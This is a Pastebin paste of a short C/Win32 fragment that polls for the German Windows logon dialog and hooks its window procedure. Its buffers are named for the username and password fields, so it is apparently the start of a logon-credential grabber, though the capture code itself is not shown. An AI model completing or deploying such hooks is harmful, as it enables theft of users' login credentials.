Advertisement
Guest User

Untitled

a guest
Jul 19th, 2017
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. #include "funcs.h"
  2.  
  3. INT childCount;
  4. WNDPROC oWndProc;
  5.  
  6. HWND hWndLogon;
  7. HWND hWndUsername;
  8. HWND hWndPassword;
  9.  
  10. TCHAR buttonText[256];
  11. TCHAR usernameText[512];
  12. TCHAR passwordText[512];
  13.  
  14. BOOL CALLBACK ChildControl(HWND hWnd, LPARAM lparam);
  15. LRESULT WINAPI newWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
  16.  
  17. VOID ResetVars()
  18. {
  19. oWndProc = 0;
  20. childCount = 0;
  21.  
  22. hWndLogon = NULL;
  23. hWndUsername = 0;
  24. hWndPassword = 0;
  25. }
  26.  
  27. VOID BeginWindowHook()
  28. {
  29. ResetVars();
  30.  
  31. while(true) {
  32. if(hWndLogon == NULL) {
  33. hWndLogon = FindWindow(NULL, "Windows-Anmeldung");
  34.  
  35. if (hWndLogon != NULL) {
  36. OutputDebugStringf("hWndLogon found! HWND: %d\n", hWndLogon);
  37. HookWindow(hWndLogon);
  38. } else {
  39. OutputDebugStringf("hWndLogon not found!\n");
  40. Sleep(10);
  41. }
  42. } else {
  43. Sleep(10);
  44. }
  45. }
  46. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement